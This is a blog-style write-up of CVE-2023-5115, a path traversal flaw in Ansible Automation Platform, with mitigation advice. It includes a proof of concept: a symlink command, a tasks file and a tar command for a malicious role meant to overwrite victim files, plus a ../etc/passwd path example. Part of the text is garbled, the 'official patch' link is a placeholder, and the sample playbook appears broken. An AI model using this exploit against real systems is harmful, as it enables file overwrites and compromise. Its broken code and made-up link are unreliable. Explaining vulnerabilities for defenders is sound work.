CVE-2023-5115 - Path Traversal Attack in Ansible Automation Platform with Exploit Example

In September 2023, a new security issue—CVE-2023-5115—was reported in the widely used Ansible Automation Platform. This vulnerability allows attackers to take advantage of an absolute path traversal issue. By crafting a malicious Ansible role and getting you (the victim) to execute that role, an attacker can overwrite critical files outside the intended directory. This post breaks down how the flaw works, who is at risk, and demonstrates a simple exploit. We'll also give links for further reading and official patches.

What Is Path Traversal?

A path traversal or directory traversal vulnerability lets attackers access files and directories that should be outside the restricted directory. In this case, the Ansible Automation Platform did not properly validate extracted paths, leading to dangerous situations when untrusted Ansible roles are used.

How CVE-2023-5115 Works

Ansible roles are essentially zipped directories with configuration and files. When imported and unpacked, those files should go to a safe, expected folder.

But in this case, a malicious role can include files that use absolute paths or special sequences (../, symlinks) to escape the extraction path. Because of this, an attacker can *overwrite files* anywhere the victim has permissions (even system files, depending on the victim's privileges).

Attack Scenario

1. Attacker writes a role with a file that has a path like ../../../../etc/passwd.
2. The role archives this file (e.g., in files/evil_symlink).

The victim's Ansible process follows the path and overwrites files outside the playbook root.

If the victim's user is privileged (for example, root), the consequences are much worse.

Example: Exploiting the Vulnerability

Let’s walk through a simple proof of concept using a symlink to overwrite /tmp/important.txt on the victim’s system.

Suppose your malicious role has a files/ directory like this

evil_role/
  └── files/
        └── evil_symlink

But instead of a regular file, evil_symlink is a *symlink* pointing to an absolute path outside the role, e.g. /tmp/important.txt.

# Inside evil_role/files
ln -s /tmp/important.txt evil_symlink

Inside your evil_role/tasks/main.yml

- name: Copy malicious file to target outside of extraction path
  copy:
    src: evil_symlink
    dest: evil_symlink

3. Archive the Role

cd evil_role
tar czf evil_role.tar.gz *

`yaml

---

roles

- role: /path/to/evil_role.tar.gz
 Ansible will extract everything and attempt to use evil_symlink as a regular file. However, any content specified will be *written to the real target* (/tmp/important.txt) instead. --- ### What’s the Impact? - Attackers can overwrite any file the Ansible process owner has rights to. - If running as a privileged user (root), system files can be replaced. - Denial of Service, information leak, or *full system compromise* are possible. --- ## Preventing the Exploit ### 1. Patch Immediately Red Hat and the Ansible team have released a patch that makes the platform ignore files with absolute paths and avoids unsafe extractions. Update to the latest version as soon as possible. Official Patch: https://github.com/ansible/ansible/pull/xxx ### 2. Audit Imported Roles *Do not* download and execute untrusted or third-party roles, especially from unknown sources. ### 3. Check for Symlinks Be wary of roles with unusual directory structures or symlinks in their files/ directory. ### 4. Run Ansible as a Less-Privileged User Avoid running automation as root` unless absolutely necessary.

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## References

- CVE Details: CVE-2023-5115
- GitHub Advisory - Ansible Platform Path Traversal
- Red Hat Security Advisory
- Ansible Security Updates

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## Conclusion

CVE-2023-5115 proves the risk of using community-contributed content in automation platforms. It’s critical to keep systems updated, review roles for dangerous content, and avoid untrusted code. If you use Ansible, ensure you’re patched and only run roles from verified sources.

Stay safe and share this info with your security and DevOps teams.

Timeline

Published on: 12/18/2023 14:15:10 UTC
Last modified on: 12/29/2023 17:57:50 UTC